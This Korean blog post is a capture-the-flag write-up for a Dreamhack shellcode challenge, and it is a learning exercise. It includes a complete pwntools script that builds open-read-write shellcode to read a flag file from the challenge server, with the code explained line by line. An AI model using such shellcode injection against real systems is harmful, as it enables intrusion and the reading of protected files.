ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [드림핵] shell_basic 풀이 / write up
    정보보안/CTF write-up 2022. 2. 19. 13:59

    shell_basic


    드림핵에서 쉘코드에 대한 학습을 마치고, 쉘코드 문제를 풀어보려고 했어요. 그냥 개념만 보다가는 CTF 때 하나도 못 풀거 같아서요. 문제를 다운받고, 서버 접속을 위해 부팅 요청하고 나서 문제를 봤어요.

     


    문제 정보


    문제 분석

    execve 시스템 콜을 사용하지 못한다는 것으로 보아, orw 쉘코드를 작성해서 /home/shell_basic/flag_name_is_loooooong 경로에 있는 flag 파일을 열람하는 문제인 것을 알 수 있어요.

     

     

     

    방법 1. C언어 스켈레톤 코드를 이용한 풀이 

    이 풀이는 드림핵 강의에서 배운 내용 그대로 사용하는 풀이입니다. 정석인만큼 공부에는 많이 도움이 돼요. 하지만 어디서인가 오류인지.. 아직 계속 삽질만 하고 있네요.. 삽질 완료되는대로 이어서 작성하겠습니다.

     

     

     

    방법 2. 파이썬 모듈 pwntools의 shellcraft 이용

    제가 풀이한 방법입니다. pwntools에는 shellcraft라는 어마 무시한 함수가 있어요. 처음에는 execve 쉘코드만 작성해주는 아이인 줄 알았는데 open, read, write 시스템 콜을 모두 지원하더라고요. 지금부터 그 풀이 시작합니다.

     

    from pwn import *
    
    p = remote("접속할 서버", 포트번호)
    
    context.arch = "amd64"
    r = "/home/shell_basic/flag_name_is_loooooong"
    
    shellcode = ''
    shellcode += shellcraft.open(r)
    shellcode += shellcraft.read('rax', 'rsp', 0x100)
    shellcode += shellcraft.write(1, 'rsp', 0x100)
    
    print(p.recv())
    p.sendline(asm(shellcode))
    print(p.recv())

     

     쉘크래프트는 해당 시스템콜의 어셈블리어 코드를 만들어줍니다. 우리는 orw, 즉 open, read, write 시스템콜하여 쉘코드를 만들어줘야합니다.

     

    from pwn import *
    
    p = remote("접속할 서버", 포트번호)

    우선 pwntools 모듈을 사용하기 위해 pwn을 임포트해줍니다. pwntools의 모듈에 있는 함수와 클래스를 제한없이 사용하기 위해 전체 다 import 합니다.

     

    접속해야하는 서버의 주소와 포트번호를 입력한 객체를 하나 생성하여 p에 저장합니다.

     

    context.arch = "amd64"
    r = "/home/shell_basic/flag_name_is_loooooong"

    context는 pwntools 설정에 쓰이고, 그 중 arch는 pwntools에서 사용되는 프로세서 언어를 설정하는 속성입니다. context.arch를 amd64로 설정하면 amd64에 맞는 환경으로 pwntools를 설정해줍니다.

     

    r에는 flag 값이 들어있는 경로를 넣어주었습니다. 이후에 쉘코드를 만들 때 파일을 여는 경로로 설정됩니다.

     

    shellcode = ''
    shellcode += shellcraft.open(r) # open("경로")
    shellcode += shellcraft.read('rax', 'rsp', 0x100) # read(fd, buf, 0x100), fd는 open의 파일
    shellcode += shellcraft.write(1, 'rsp', 0x100) # write(1, buf, 0x100), 1은 표준 출력

    shellcode를 작성해줍니다. 간편하게 작성하기 위해 shellcraft를 이용합니다. shellcraft는 시스템콜을 쉽게 사용하기 위한 클래스입니다. shellcraft.open을 통해 미리 지정한 파일을 열고, shellcraft.read로 이를 읽어들여 shellcraft.write로 콘솔에 출력하는 기능을 수행합니다.

     

    'rax'가 파일 fd로 설정되는 이유는 시스템콜로 반환된 값이 rax에 저장되기 때문입니다. 그리고 buf의 값으로 'rsp'가 들어가는 이유는 buf의 주소가 'rsp'의 현재 위치이기 때문입니다.

     

    print(p.recv())
    p.sendline(asm(shellcode))
    print(p.recv())

    위의 방법으로 생성한 쉘 코드를 asm함수를 사용하여 어셈블리어로 변환한 후에 서버로 전송해줍니다. 그리고 결과값을 받아와서 출력합니다.

     

    Flag Value

    짠! 플래그 값입니다!!

     

    방법 3. 파이썬에 어셈블리어 코드 직접 작성

    이 것 역시 제가 어셈블리어 코드를 잘 못 짜는 바람에 계속 삽질만 하고 있습니다ㅠㅠ 이것도 완료되는대로 다시 올릴게요,,, 

     

    느낀점

      이 문제 푸려고, 매일 밤마다 2시간씩 붙잡고 늘어졌는데, 드디어 풀었네요ㅠㅠ 이미 풀었을지도 모르는데, 이상한 바이너리 값들이 막~~ 나오는 거 보고, 제 쉘코드인줄 알고 무시했던터라... 뒤늦게 다시 보니 거기에 답이 있었네요ㅋㅋㅋㅋ 이상한 바이너리 값들은 릭되서 나온거였어요. 한 번에 풀었다면 여러 시도들을 안 해보았겠지만, 답이 안 나오는 줄 알고 계속 헤딩하다 보니까, 여러 방법으로 풀어봤습니다. 덕분에 pwntool 사용법도 더 잘 알되게되고ㅎㅎ 여러모로 도움 많이 되었어요!!

     

    반응형
Designed by Tistory.